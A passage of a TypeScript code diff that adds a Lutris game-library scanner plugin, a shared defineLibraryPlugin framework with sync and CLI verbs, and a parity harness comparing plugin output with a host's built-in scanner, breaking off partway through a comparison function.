|
||||
import * as os from "node:os";
|
||||
import * as path from "node:path";
|
||||
import { Effect, Schema } from "effect";
|
||||
import {
|
||||
defineLibraryPlugin,
|
||||
fileUrl,
|
||||
isFile,
|
||||
withReadOnlyDb,
|
||||
} from "../src/library/index.js";
|
||||
import type { ProviderEntry } from "../src/wire.js";
|
||||
|
||||
const LutrisConfig = Schema.Struct({
|
||||
/**
|
||||
* Where `pga.db` lives, when it isn't in one of the standard places. Annotated because the
|
||||
* console's generic settings form derives its label and help text from exactly these.
|
||||
*/
|
||||
databasePath: Schema.optionalKey(
|
||||
Schema.String.annotate({
|
||||
title: "Lutris database",
|
||||
description:
|
||||
"Absolute path to pga.db. Leave empty to find it automatically.",
|
||||
}),
|
||||
),
|
||||
});
|
||||
|
||||
/** Candidate `pga.db` locations: XDG data dir, the classic path, Flatpak. */
|
||||
const databaseCandidates = (): string[] => {
|
||||
const out: string[] = [];
|
||||
const xdg = process.env.XDG_DATA_HOME;
|
||||
if (xdg) out.push(path.join(xdg, "lutris/pga.db"));
|
||||
const home = os.homedir();
|
||||
if (home) {
|
||||
out.push(path.join(home, ".local/share/lutris/pga.db"));
|
||||
out.push(path.join(home, ".var/app/net.lutris.Lutris/data/lutris/pga.db"));
|
||||
}
|
||||
return out;
|
||||
};
|
||||
|
||||
const findDatabase = (cfg: { databasePath?: string }): string | undefined =>
|
||||
[...(cfg.databasePath ? [cfg.databasePath] : []), ...databaseCandidates()].find(
|
||||
isFile,
|
||||
);
|
||||
|
||||
/**
|
||||
* `<kind>/<slug>.jpg` across the current, legacy-cache and Flatpak Lutris roots.
|
||||
*
|
||||
* The slug comes verbatim from Lutris's database and is interpolated into a path, so a separator,
|
||||
* parent ref or NUL is refused — otherwise a crafted slug is an arbitrary-file-read primitive, and
|
||||
* the resulting path would be handed to the host's art proxy to serve (security-review 2026-07-17).
|
||||
* Real Lutris slugs are `[a-z0-9-]`.
|
||||
*/
|
||||
const artFile = (kind: string, slug: string): string | undefined => {
|
||||
if (
|
||||
slug === "" ||
|
||||
slug.includes("/") ||
|
||||
slug.includes("\\") ||
|
||||
slug.includes("..") ||
|
||||
slug.includes("\0")
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
const home = os.homedir();
|
||||
if (!home) return undefined;
|
||||
const roots = [
|
||||
path.join(home, ".local/share/lutris"),
|
||||
path.join(home, ".cache/lutris"),
|
||||
path.join(home, ".var/app/net.lutris.Lutris/data/lutris"),
|
||||
path.join(home, ".var/app/net.lutris.Lutris/cache/lutris"),
|
||||
];
|
||||
for (const root of roots) {
|
||||
const p = path.join(root, kind, `${slug}.jpg`);
|
||||
if (isFile(p)) return p;
|
||||
}
|
||||
return undefined;
|
||||
};
|
||||
|
||||
interface GameRow {
|
||||
id: number;
|
||||
slug: string | null;
|
||||
name: string;
|
||||
directory: string | null;
|
||||
}
|
||||
|
||||
export default defineLibraryPlugin({
|
||||
// One string: plugin id, provider id, store claim, and the id of the built-in scanner this
|
||||
// replaces. That identity chain is what keeps entry ids, GameStream app ids and the operator's
|
||||
// existing enable/disable state intact across the migration.
|
||||
name: "lutris",
|
||||
configSchema: LutrisConfig,
|
||||
|
||||
detect: (cfg) => Effect.sync(() => findDatabase(cfg) !== undefined),
|
||||
|
||||
scan: (cfg) =>
|
||||
Effect.sync(() => {
|
||||
const db = findDatabase(cfg);
|
||||
if (!db) return [];
|
||||
// Read-only + immutable: a running Lutris holding the file can neither block us nor be
|
||||
// disturbed by us.
|
||||
const rows =
|
||||
withReadOnlyDb(db, (h) =>
|
||||
// `directory` is our only detect signal but is not load-bearing for the library, so
|
||||
// a schema without it must not cost the whole source — the helper answers [] on a
|
||||
// bad query, and the fallback keeps the titles.
|
||||
h.query<GameRow>(
|
||||
"SELECT id, slug, name, directory FROM games " +
|
||||
"WHERE installed = 1 AND name IS NOT NULL AND name <> '' " +
|
||||
"ORDER BY name COLLATE NOCASE",
|
||||
),
|
||||
) ?? [];
|
||||
const usable =
|
||||
rows.length > 0
|
||||
? rows
|
||||
: (withReadOnlyDb(db, (h) =>
|
||||
h.query<GameRow>(
|
||||
"SELECT id, slug, name, NULL AS directory FROM games " +
|
||||
"WHERE installed = 1 AND name IS NOT NULL AND name <> '' " +
|
||||
"ORDER BY name COLLATE NOCASE",
|
||||
),
|
||||
) ?? []);
|
||||
|
||||
return usable.map((row): ProviderEntry => {
|
||||
const portrait = row.slug ? artFile("coverart", row.slug) : undefined;
|
||||
const header = row.slug ? artFile("banners", row.slug) : undefined;
|
||||
const dir = row.directory?.trim();
|
||||
return {
|
||||
// The host composes `lutris:<external_id>` — byte-identical to what the built-in
|
||||
// scanner produced, which the parity gate checks.
|
||||
external_id: String(row.id),
|
||||
title: row.name,
|
||||
launch: { kind: "lutris_id", value: String(row.id) },
|
||||
art: {
|
||||
...(portrait ? { portrait: fileUrl(portrait) } : {}),
|
||||
...(header ? { header: fileUrl(header) } : {}),
|
||||
},
|
||||
// Lutris stamps no per-game env marker worth relying on, so the install dir is the
|
||||
// whole recipe; a game with none (an emulator entry pointing at a bare ROM) stays
|
||||
// untracked, exactly as it did in-host.
|
||||
...(dir ? { detect: { install_dir: dir } } : {}),
|
||||
platform: "PC",
|
||||
};
|
||||
});
|
||||
}),
|
||||
|
||||
// Re-scan when Lutris writes: installing a game touches the database, and downloading art
|
||||
// touches the cover directories.
|
||||
watchDirs: (cfg) => {
|
||||
const db = findDatabase(cfg);
|
||||
return db ? [path.dirname(db)] : [];
|
||||
},
|
||||
});
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@punktfunk/plugin-kit",
|
||||
"version": "0.2.0",
|
||||
"version": "0.3.0",
|
||||
"description": "Effect-based framework for punktfunk plugins: lifecycle runtime, config/state, sync engine, UI serving, CLI scaffold, and browser helpers.",
|
||||
"type": "module",
|
||||
"license": "MIT OR Apache-2.0",
|
||||
@@ -29,6 +29,10 @@
|
||||
"types": "./dist/wire.d.ts",
|
||||
"default": "./dist/wire.js"
|
||||
},
|
||||
"./library": {
|
||||
"types": "./dist/library/index.d.ts",
|
||||
"default": "./dist/library/index.js"
|
||||
},
|
||||
"./theme.css": "./dist/theme.css"
|
||||
},
|
||||
"files": ["dist", "README.md"],
|
||||
@@ -57,5 +61,8 @@
|
||||
"@types/react": "^19.2.16",
|
||||
"effect": "4.0.0-beta.99",
|
||||
"typescript": "^5.9.3"
|
||||
},
|
||||
"overrides": {
|
||||
"undici": "^8.9.0"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,6 +43,13 @@ export {
|
||||
type SyncSettings,
|
||||
type SyncStatus,
|
||||
} from "./sync-engine.js";
|
||||
export { httpApiEnv, serveUi, type ServeUiOptions } from "./ui-server.js";
|
||||
export {
|
||||
deriveConfigJsonSchema,
|
||||
httpApiEnv,
|
||||
makeConfigHandler,
|
||||
serveUi,
|
||||
type ServeUiConfig,
|
||||
type ServeUiOptions,
|
||||
} from "./ui-server.js";
|
||||
export { sseRoute, type SseRouteOptions } from "./sse.js";
|
||||
export { type CliCommand, runPluginCli } from "./cli.js";
|
||||
|
||||
@@ -0,0 +1,335 @@
|
||||
// `defineLibraryPlugin` — the shared framework behind every library-scanner plugin (design D10).
|
||||
//
|
||||
// The point of this module is that a first-party scanner should be **its parsers and a scan
|
||||
// function**, ~200–400 lines, and nothing else. Everything a scanner needs beyond that is identical
|
||||
// across all six of them and lives here: claiming the store, reconciling through the sync engine,
|
||||
// appending launcher entries, serving `__config` so the console renders settings without the plugin
|
||||
// shipping an SPA, registering under `category: "library"` so it stays out of the nav, and the
|
||||
// standard CLI verbs.
|
||||
import type { PluginDef } from "@punktfunk/host";
|
||||
import * as fs from "node:fs";
|
||||
import { Duration, Effect, Layer, Schema, Stream } from "effect";
|
||||
import { type CliCommand, runPluginCli } from "../cli.js";
|
||||
import { type ConfigService, makeConfigService } from "../config.js";
|
||||
import { HostClient, PluginInfo } from "../host-client.js";
|
||||
import { ProviderClient, type ProviderClientService } from "../reconcile.js";
|
||||
import { definePluginKit, type PluginKitDef } from "../runtime.js";
|
||||
import { makeSyncEngine } from "../sync-engine.js";
|
||||
import { serveUi } from "../ui-server.js";
|
||||
import type { ProviderEntry } from "../wire.js";
|
||||
import {
|
||||
diffParity,
|
||||
formatParityReport,
|
||||
fromHostEntry,
|
||||
fromProviderEntry,
|
||||
type HostGameEntry,
|
||||
} from "./parity.js";
|
||||
|
||||
/** What a scan produced — the status surface and the CLI's `scan` verb both render this. */
|
||||
export interface ScanReport {
|
||||
readonly entries: number;
|
||||
readonly launchers: number;
|
||||
/** False when the launcher isn't installed here — the library is legitimately empty. */
|
||||
readonly present: boolean;
|
||||
}
|
||||
|
||||
export interface LibraryPluginDef<S extends Schema.Top> {
|
||||
/**
|
||||
* The plugin id. **This one string is also the provider id, the store claim, and the id of the
|
||||
* built-in scanner this plugin replaces.** That identity chain is what makes the migration
|
||||
* invisible: entry ids stay `<name>:<external_id>`, GameStream app ids and client art caches
|
||||
* stay valid, and the operator's existing enable/disable state carries over untouched.
|
||||
*/
|
||||
readonly name: string;
|
||||
readonly version?: string;
|
||||
/**
|
||||
* The store to claim (design D2). Defaults to {@link name} and should almost never differ — see
|
||||
* the identity note above. Pass `null` to opt out of claiming entirely, which makes this an
|
||||
* ordinary unclaimed provider whose entries surface as `custom:`.
|
||||
*/
|
||||
readonly store?: string | null;
|
||||
/** The operator-facing config schema. Drives `__config` and every callback's argument. */
|
||||
readonly configSchema: S;
|
||||
/**
|
||||
* Is this launcher present on the host at all? Surfaces in the CLI's `detect` verb, and lets the
|
||||
* plugin report "not installed" rather than silently syncing an empty library.
|
||||
*/
|
||||
readonly detect: (cfg: S["Type"]) => Effect.Effect<boolean>;
|
||||
/** Enumerate the launcher's installed titles — the only real per-store code. */
|
||||
readonly scan: (
|
||||
cfg: S["Type"],
|
||||
) => Effect.Effect<ReadonlyArray<ProviderEntry>>;
|
||||
/**
|
||||
* Entries that open the LAUNCHER itself (design D4) — Steam Big Picture, Heroic, … Appended to
|
||||
* every reconcile, so toggling one in config takes effect on the next sync. Emit them with
|
||||
* `role: "launcher"`; the kit does not stamp it for you, because a plugin may legitimately want
|
||||
* an entry that opens a launcher but still lists as an ordinary game.
|
||||
*/
|
||||
readonly launchers?: (cfg: S["Type"]) => ReadonlyArray<ProviderEntry>;
|
||||
/** Launcher data dirs to watch, so a newly installed game appears without waiting for a poll. */
|
||||
readonly watchDirs?: (cfg: S["Type"]) => ReadonlyArray<string>;
|
||||
/** How often to re-scan regardless of watches. Default `Duration.minutes(15)`. */
|
||||
readonly pollInterval?: Duration.Duration;
|
||||
/** Debounce on filesystem events. Default `Duration.seconds(3)`. */
|
||||
readonly debounce?: Duration.Duration;
|
||||
/** Display title (the console's sources row falls back to the scanner label). Defaults to `name`. */
|
||||
readonly title?: string;
|
||||
/** Extra CLI verbs beyond the standard `detect` / `scan` / `uninstall` set. */
|
||||
readonly commands?: Record<string, CliCommand<never>>;
|
||||
}
|
||||
|
||||
/** `--flag value` from an argv slice, or undefined. */
|
||||
const flagValue = (
|
||||
argv: ReadonlyArray<string>,
|
||||
flag: string,
|
||||
): string | undefined => {
|
||||
const i = argv.indexOf(flag);
|
||||
return i >= 0 && i + 1 < argv.length ? argv[i + 1] : undefined;
|
||||
};
|
||||
|
||||
/** The pieces a library plugin package wires into its entry points. */
|
||||
export interface LibraryPlugin {
|
||||
/** The runner-discovered default export (`export default plugin.def`). */
|
||||
readonly def: PluginDef;
|
||||
/** The CLI entry (`await plugin.cli()` from the package's bin). */
|
||||
readonly cli: (argv?: ReadonlyArray<string>) => Promise<void>;
|
||||
}
|
||||
|
||||
export const defineLibraryPlugin = <S extends Schema.Top>(
|
||||
def: LibraryPluginDef<S>,
|
||||
): LibraryPlugin => {
|
||||
const store = def.store === null ? undefined : (def.store ?? def.name);
|
||||
const poll = def.pollInterval ?? Duration.minutes(15);
|
||||
const debounce = def.debounce ?? Duration.seconds(3);
|
||||
|
||||
/** The config service, built fresh wherever it is needed (it only requires `PluginInfo`). */
|
||||
const config: Effect.Effect<ConfigService<S>, never, PluginInfo> =
|
||||
makeConfigService({ schema: def.configSchema });
|
||||
|
||||
/** Scan + launcher entries, in the order they should reach the host. */
|
||||
const computeEntries = (
|
||||
cfg: S["Type"],
|
||||
): Effect.Effect<{
|
||||
readonly entries: ReadonlyArray<ProviderEntry>;
|
||||
readonly report: ScanReport;
|
||||
}> =>
|
||||
Effect.gen(function* () {
|
||||
const present = yield* def.detect(cfg);
|
||||
// A launcher that isn't installed contributes NOTHING — not even its launcher entries. A
|
||||
// "Steam Big Picture" tile on a box without Steam would only fail to launch.
|
||||
if (!present) {
|
||||
return {
|
||||
entries: [] as ReadonlyArray<ProviderEntry>,
|
||||
report: { entries: 0, launchers: 0, present: false } as const,
|
||||
};
|
||||
}
|
||||
const scanned = yield* def.scan(cfg);
|
||||
const launchers = def.launchers?.(cfg) ?? [];
|
||||
return {
|
||||
entries: [...scanned, ...launchers],
|
||||
report: {
|
||||
entries: scanned.length,
|
||||
launchers: launchers.length,
|
||||
present: true,
|
||||
} as const,
|
||||
};
|
||||
});
|
||||
|
||||
/**
|
||||
* Push one entry set to the host under the store claim, warning **once** if the host is too old
|
||||
* to honour it.
|
||||
*
|
||||
* This degradation is worth the code: a pre-M2 host ignores `?store=` silently, and the only
|
||||
* symptom would be this plugin's titles appearing as unbadged `custom:` entries *beside* the
|
||||
* built-in scanner's identical ones — a confusing double-listing with no error anywhere.
|
||||
* Checking the echoed entries turns that into one actionable log line.
|
||||
*/
|
||||
const applyEntries =
|
||||
(provider: ProviderClientService, state: { warned: boolean }) =>
|
||||
(entries: ReadonlyArray<ProviderEntry>): Effect.Effect<void, unknown> =>
|
||||
provider.reconcile(def.name, entries, store).pipe(
|
||||
Effect.tap((echoed) => {
|
||||
if (!store || state.warned || echoed.length === 0) return Effect.void;
|
||||
if (echoed.some((e) => e.store === store)) return Effect.void;
|
||||
state.warned = true;
|
||||
return Effect.logWarning(
|
||||
`host is too old for store claims: this source's games will appear as custom ` +
|
||||
`entries and the host's own "${store}" scanner is not suppressed, so titles ` +
|
||||
`may be listed twice. Updating the host resolves it.`,
|
||||
);
|
||||
}),
|
||||
Effect.asVoid,
|
||||
);
|
||||
|
||||
const main = Effect.gen(function* () {
|
||||
const cfgService = yield* config;
|
||||
const provider = yield* ProviderClient;
|
||||
const state = { warned: false };
|
||||
|
||||
const engine = yield* makeSyncEngine<
|
||||
ScanReport,
|
||||
ReadonlyArray<ProviderEntry>,
|
||||
never
|
||||
>({
|
||||
compute: () => cfgService.load.pipe(Effect.flatMap(computeEntries)),
|
||||
apply: applyEntries(provider, state),
|
||||
// The host IS the state: a full-replace reconcile is idempotent, so there is nothing to
|
||||
// persist between runs. Reporting no previous fingerprint means the first sync after a
|
||||
// restart always pushes, which is exactly what we want (the host may have been reinstalled
|
||||
// underneath us).
|
||||
lastSync: { get: Effect.succeed(undefined), set: () => Effect.void },
|
||||
settings: cfgService.load.pipe(
|
||||
Effect.map((cfg) => def.watchDirs?.(cfg) ?? []),
|
||||
// A config file that won't decode must not stop the poll loop: fall back to no watch
|
||||
// dirs, keep syncing on the timer, and let the operator see the parse error in the
|
||||
// settings drawer (`GET /__config` reports it).
|
||||
Effect.catch(() => Effect.succeed([] as ReadonlyArray<string>)),
|
||||
Effect.map((watchDirs) => ({
|
||||
pollInterval: poll,
|
||||
watch: true,
|
||||
debounce,
|
||||
watchDirs,
|
||||
})),
|
||||
),
|
||||
});
|
||||
|
||||
// The UI server exists ONLY to serve `__config` (and the SDK's `__health`): no `staticDir`,
|
||||
// no API. That is the whole "settings without an SPA" story (design D7, closing G8), and the
|
||||
// `library` category is what keeps six installed scanners out of the console's sidebar.
|
||||
yield* serveUi({
|
||||
title: def.title ?? def.name,
|
||||
category: "library",
|
||||
config: { schema: def.configSchema, service: cfgService },
|
||||
});
|
||||
|
||||
yield* engine.start;
|
||||
// A saved settings change is exactly when a user expects the library to update — and it may
|
||||
// have changed `watchDirs`, so re-read settings rather than just re-syncing.
|
||||
yield* Effect.forkScoped(
|
||||
Stream.runForEach(cfgService.changes, () => engine.reconfigure),
|
||||
);
|
||||
yield* Effect.never;
|
||||
});
|
||||
|
||||
const kitDef: PluginKitDef<never, ProviderClient> = {
|
||||
name: def.name,
|
||||
...(def.version !== undefined ? { version: def.version } : {}),
|
||||
layer: ProviderClient.layer,
|
||||
main: main as Effect.Effect<
|
||||
void,
|
||||
never,
|
||||
ProviderClient | HostClient | PluginInfo | never
|
||||
>,
|
||||
};
|
||||
|
||||
const standardCommands: Record<string, CliCommand<ProviderClient>> = {
|
||||
detect: {
|
||||
summary: "report whether this launcher is installed on the host",
|
||||
// Offline on purpose: "is Steam here?" must be answerable without a running host.
|
||||
offline: true,
|
||||
run: () =>
|
||||
Effect.gen(function* () {
|
||||
const cfg = yield* (yield* config).load;
|
||||
console.log((yield* def.detect(cfg)) ? "present" : "absent");
|
||||
}),
|
||||
},
|
||||
scan: {
|
||||
summary: "scan and print what WOULD be synced (--preview for the JSON entries)",
|
||||
// Also offline: the point is to debug a scanner against real launcher files without
|
||||
// touching the host's library.
|
||||
offline: true,
|
||||
run: (argv) =>
|
||||
Effect.gen(function* () {
|
||||
const cfg = yield* (yield* config).load;
|
||||
const { entries, report } = yield* computeEntries(cfg);
|
||||
if (argv.includes("--preview")) {
|
||||
console.log(JSON.stringify(entries, null, 2));
|
||||
} else {
|
||||
console.log(
|
||||
`${report.present ? "present" : "absent"}: ${report.entries} games, ` +
|
||||
`${report.launchers} launcher entries`,
|
||||
);
|
||||
}
|
||||
}),
|
||||
},
|
||||
parity: {
|
||||
summary:
|
||||
"prove this plugin reproduces the built-in scanner (--snapshot <f> | --compare <f>)",
|
||||
// `--compare` is offline (it runs THIS plugin's scan); `--snapshot` needs the host. The
|
||||
// dispatcher decides per invocation below, so the verb is registered as online and the
|
||||
// snapshot path is the one that actually uses the client.
|
||||
run: (argv) =>
|
||||
Effect.gen(function* () {
|
||||
const snapshot = flagValue(argv, "--snapshot");
|
||||
const compare = flagValue(argv, "--compare");
|
||||
if (!snapshot && !compare) {
|
||||
console.error(
|
||||
"usage: parity --snapshot <file> (capture the host's CURRENT library for this store)\n" +
|
||||
" parity --compare <file> (diff this plugin's scan against that capture)",
|
||||
);
|
||||
process.exitCode = 2;
|
||||
return;
|
||||
}
|
||||
if (snapshot) {
|
||||
// The baseline: what the host reports for THIS store while its built-in scanner
|
||||
// is still the thing producing it. Capture before installing the plugin.
|
||||
const host = yield* HostClient;
|
||||
const body = yield* host.request("GET", "/library");
|
||||
const mine = (Array.isArray(body) ? (body as HostGameEntry[]) : [])
|
||||
.filter((e) => e.store === (store ?? def.name))
|
||||
.map(fromHostEntry)
|
||||
.sort((a, b) => a.id.localeCompare(b.id));
|
||||
yield* Effect.sync(() =>
|
||||
fs.writeFileSync(snapshot, `${JSON.stringify(mine, null, 2)}\n`),
|
||||
);
|
||||
console.log(
|
||||
`captured ${mine.length} "${store ?? def.name}" entries to ${snapshot}`,
|
||||
);
|
||||
return;
|
||||
}
|
||||
const baseline = yield* Effect.try({
|
||||
try: () =>
|
||||
JSON.parse(fs.readFileSync(compare as string, "utf8")) as ReturnType<
|
||||
typeof fromHostEntry
|
||||
>[],
|
||||
catch: (cause) => new Error(`cannot read ${compare}: ${cause}`),
|
||||
});
|
||||
const cfg = yield* (yield* config).load;
|
||||
const { entries } = yield* computeEntries(cfg);
|
||||
const produced = entries.map((e) =>
|
||||
fromProviderEntry(store ?? def.name, e),
|
||||
);
|
||||
const report = diffParity(baseline, produced);
|
||||
console.log(formatParityReport(report));
|
||||
// A non-zero exit is what makes this usable as a release gate rather than a report
|
||||
// somebody skims.
|
||||
if (!report.ok) process.exitCode = 1;
|
||||
}),
|
||||
},
|
||||
uninstall: {
|
||||
summary: "remove this source's games from the host and release its store claim",
|
||||
run: () =>
|
||||
Effect.gen(function* () {
|
||||
const provider = yield* ProviderClient;
|
||||
// The empty reconcile clears the entries; DELETE is what releases the CLAIM — and
|
||||
// releasing is what brings the host's own built-in scanner straight back.
|
||||
yield* provider.reconcile(def.name, [], undefined);
|
||||
yield* provider.remove(def.name);
|
||||
console.log(`${def.name}: entries removed, store claim released`);
|
||||
}),
|
||||
},
|
||||
};
|
||||
|
||||
return {
|
||||
def: definePluginKit(kitDef),
|
||||
cli: (argv) =>
|
||||
runPluginCli({
|
||||
def: kitDef,
|
||||
commands: {
|
||||
...standardCommands,
|
||||
...(def.commands ?? {}),
|
||||
} as Record<string, CliCommand<ProviderClient>>,
|
||||
...(argv !== undefined ? { argv } : {}),
|
||||
}),
|
||||
};
|
||||
};
|
||||
@@ -0,0 +1,23 @@
|
||||
// `@punktfunk/plugin-kit/library` — the shared framework for library-scanner plugins.
|
||||
//
|
||||
// A first-party scanner is its parsers plus a scan function; everything else (store claim, sync
|
||||
// engine wiring, launcher entries, `__config`, nav category, CLI verbs) comes from
|
||||
// `defineLibraryPlugin`. See design/library-scanner-plugins.md D10.
|
||||
export {
|
||||
defineLibraryPlugin,
|
||||
type LibraryPlugin,
|
||||
type LibraryPluginDef,
|
||||
type ScanReport,
|
||||
} from "./define.js";
|
||||
export {
|
||||
claimedLibraryId,
|
||||
diffParity,
|
||||
formatParityReport,
|
||||
fromHostEntry,
|
||||
fromProviderEntry,
|
||||
type HostGameEntry,
|
||||
type ParityChange,
|
||||
type ParityEntry,
|
||||
type ParityReport,
|
||||
} from "./parity.js";
|
||||
export * from "./parsers/index.js";
|
||||
@@ -0,0 +1,249 @@
|
||||
// The parity harness: proof that a library plugin reproduces the in-host scanner it replaces.
|
||||
//
|
||||
// This is the acceptance gate for every extracted scanner (design M5). Ported unit tests are
|
||||
// necessary but nowhere near sufficient — they pin the PARSERS, while what actually has to hold is
|
||||
// that the whole pipeline lands the same entries, with the same ids, launch recipes and detect
|
||||
// signals, on a real box with a real launcher installed. A plugin that parses perfectly and emits
|
||||
// `steam:440` as `steam:440.0` breaks every Moonlight pin on the host and no parser test notices.
|
||||
//
|
||||
// It lives in the KIT, not in a plugin, because it is identical for all six: capture what the host
|
||||
// reports while its built-in scanner is doing the work, then check the plugin produces the same set.
|
||||
// (One plugin per repo is the house pattern, so anything shared has to be published, not adjacent.)
|
||||
//
|
||||
// Usage, per plugin, on a box with that launcher installed:
|
||||
//
|
||||
// punktfunk-plugin-steam parity --snapshot before.json # host still on its built-in scanner
|
||||
// punktfunk-plugin-steam parity --compare before.json # offline: runs THIS plugin's scan
|
||||
//
|
||||
// `--compare` runs the plugin's own scan directly rather than installing it first, so a mismatch is
|
||||
// visible before anything is published — and the run is repeatable while you fix it.
|
||||
import type { ProviderEntry } from "../wire.js";
|
||||
|
||||
/** The four art slots, in the order the host's box-art ladder tries them. */
|
||||
const ART_KINDS = ["portrait", "hero", "logo", "header"] as const;
|
||||
type ArtKind = (typeof ART_KINDS)[number];
|
||||
|
||||
/** One entry, reduced to the facts parity is about. */
|
||||
export interface ParityEntry {
|
||||
/** The store-qualified library id — the field everything downstream is keyed on. */
|
||||
readonly id: string;
|
||||
readonly title: string;
|
||||
/** `<kind>:<value>`, or null when the entry has no launch recipe. */
|
||||
readonly launch: string | null;
|
||||
/** `"game"` or `"launcher"`. */
|
||||
readonly role: string;
|
||||
/**
|
||||
* Which art kinds are PRESENT, not their values. The representation legitimately changes on
|
||||
* extraction (a scanner's `data:` URL or host-relative proxy path becomes a `file://` path or a
|
||||
* CDN URL), so comparing values would fail every time for no reason. Presence is the invariant
|
||||
* that matters: a title that had a poster must still have one.
|
||||
*/
|
||||
readonly art: Readonly<Record<ArtKind, boolean>>;
|
||||
/** Flat descriptive metadata (platform, genres, …) — compared verbatim. */
|
||||
readonly meta: Readonly<Record<string, unknown>>;
|
||||
}
|
||||
|
||||
/** What the host reports for one entry in `GET /library`. */
|
||||
export interface HostGameEntry {
|
||||
id: string;
|
||||
store: string;
|
||||
title: string;
|
||||
role?: string;
|
||||
launch?: { kind: string; value: string } | null;
|
||||
art?: Partial<Record<ArtKind, string | null>>;
|
||||
[extra: string]: unknown;
|
||||
}
|
||||
|
||||
/** Keys on a host entry that are structure, not descriptive metadata. */
|
||||
const NON_META = new Set([
|
||||
"id",
|
||||
"store",
|
||||
"title",
|
||||
"role",
|
||||
"launch",
|
||||
"art",
|
||||
"provider",
|
||||
"external_id",
|
||||
"prep",
|
||||
"detect",
|
||||
]);
|
||||
|
||||
const artPresence = (
|
||||
art: Partial<Record<ArtKind, string | null>> | undefined,
|
||||
): Record<ArtKind, boolean> => {
|
||||
const out = {} as Record<ArtKind, boolean>;
|
||||
for (const k of ART_KINDS) out[k] = Boolean(art?.[k]);
|
||||
return out;
|
||||
};
|
||||
|
||||
const pickMeta = (src: Record<string, unknown>): Record<string, unknown> => {
|
||||
const out: Record<string, unknown> = {};
|
||||
for (const [k, v] of Object.entries(src)) {
|
||||
// Absent and empty are the same thing here: the host omits empty lists and null fields, and a
|
||||
// plugin that sends `genres: []` has not changed anything.
|
||||
if (NON_META.has(k) || v == null) continue;
|
||||
if (Array.isArray(v) && v.length === 0) continue;
|
||||
out[k] = v;
|
||||
}
|
||||
return out;
|
||||
};
|
||||
|
||||
/** The library id the host assigns a claimed entry — the deterministic `<store>:<external_id>`. */
|
||||
export const claimedLibraryId = (store: string, externalId: string): string =>
|
||||
`${store}:${externalId}`;
|
||||
|
||||
/** Reduce what the host reported (the BEFORE side) to a comparable entry. */
|
||||
export const fromHostEntry = (e: HostGameEntry): ParityEntry => ({
|
||||
id: e.id,
|
||||
title: e.title,
|
||||
launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null,
|
||||
role: e.role ?? "game",
|
||||
art: artPresence(e.art),
|
||||
meta: pickMeta(e as Record<string, unknown>),
|
||||
});
|
||||
|
||||
/** Reduce what this plugin produced (the AFTER side) to a comparable entry. */
|
||||
export const fromProviderEntry = (
|
||||
store: string,
|
||||
e: ProviderEntry,
|
||||
): ParityEntry => {
|
||||
const rec = e as unknown as Record<string, unknown>;
|
||||
return {
|
||||
id: claimedLibraryId(store, e.external_id),
|
||||
title: e.title,
|
||||
launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null,
|
||||
role: (e as { role?: string }).role ?? "game",
|
||||
art: artPresence(
|
||||
e.art as Partial<Record<ArtKind, string | null>> | undefined,
|
||||
),
|
||||
meta: pickMeta(rec),
|
||||
};
|
||||
};
|
||||
|
||||
/** One field that differs between the two sides. */
|
||||
export interface ParityChange {
|
||||
readonly id: string;
|
||||
readonly field: string;
|
||||
readonly before: unknown;
|
||||
readonly after: unknown;
|
||||
}
|
||||
|
||||
export interface ParityReport {
|
||||
/** In the baseline, absent from what the plugin produced — the plugin LOST a title. */
|
||||
readonly missing: ParityEntry[];
|
||||
/** Produced by the plugin, absent from the baseline — the plugin invented a title. */
|
||||
readonly extra: ParityEntry[];
|
||||
/** Same id, different facts. */
|
||||
readonly changed: ParityChange[];
|
||||
/** Entries present on both sides and identical. */
|
||||
readonly matched: number;
|
||||
/**
|
||||
* Launcher entries the plugin adds (design D4). Never a failure: the built-in scanner had no
|
||||
* concept of them, so they are expected to be `extra` and are reported separately so a real
|
||||
* regression isn't buried under them.
|
||||
*/
|
||||
readonly launchersAdded: ParityEntry[];
|
||||
readonly ok: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Diff a baseline (what the host reported while its built-in scanner ran) against what this plugin
|
||||
* produced. `ok` is true only when nothing is missing, nothing unexpected is extra, and no compared
|
||||
* field changed.
|
||||
*/
|
||||
export const diffParity = (
|
||||
baseline: ReadonlyArray<ParityEntry>,
|
||||
produced: ReadonlyArray<ParityEntry>,
|
||||
): ParityReport => {
|
||||
const byId = new Map(baseline.map((e) => [e.id, e]));
|
||||
const producedIds = new Set(produced.map((e) => e.id));
|
||||
const changed: ParityChange[] = [];
|
||||
const extra: ParityEntry[] = [];
|
||||
const launchersAdded: ParityEntry[] = [];
|
||||
let matched = 0;
|
||||
|
||||
for (const after of produced) {
|
||||
const before = byId.get(after.id);
|
||||
if (!before) {
|
||||
// A launcher entry has no counterpart by construction — the scanner never emitted one.
|
||||
(after.role === "launcher" ? launchersAdded : extra).push(after);
|
||||
continue;
|
||||
}
|
||||
const diffs = compareEntry(before, after);
|
||||
if (diffs.length === 0) matched++;
|
||||
else changed.push(...diffs);
|
||||
}
|
||||
|
||||
const missing = baseline.filter((e) => !producedIds.has(e.id));
|
||||
return {
|
||||
missing,
|
||||
extra,
|
||||
changed,
|
||||
matched,
|
||||
launchersAdded,
|
||||
ok: missing.length === 0 && extra.length === 0 && changed.length === 0,
|
||||
};
|
||||
};
|
||||
|
||||
const compareEntry = (
|
||||
before: ParityEntry,
|
||||
after: ParityEntry,
|
||||
): ParityChange[] => {
|
||||
const out: ParityChange[] = [];
|
||||
const note = (field: string, b: unknown, a: unknown) =>
|
||||
out.push({ id: before.id, field, before: b, after: a });
|
||||
|
||||
if (before.title !== after.title) note("title", before.title, after.title);
|
||||
if (before.launch !== after.launch)
|
||||
note("launch", before.launch, after.launch);
|
||||
if (before.role !== after.role) note("role", before.role, after.role);
|
||||
for (const k of ART_KINDS) {
|
||||
// Only a LOST art kind is a regression. Gaining one is an improvement (the plugin can reach
|
||||
// art the host never resolved), and failing a run over it would just train people to ignore
|
||||
// the harness.
|
||||
if (before.art[k] && !after.art[k]) note(`art.${k}`, true, false);
|
||||
}
|
||||
const keys = new Set([
|
||||
...Object.keys(before.meta),
|
||||
...Object.keys(after.meta),
|
||||
]);
|
||||
for (const k of keys) {
|
||||
const b = before.meta[k];
|
||||
const a = after.meta[k];
|
||||
if (JSON.stringify(b) !== JSON.stringify(a)) note(`meta.${k}`, b, a);
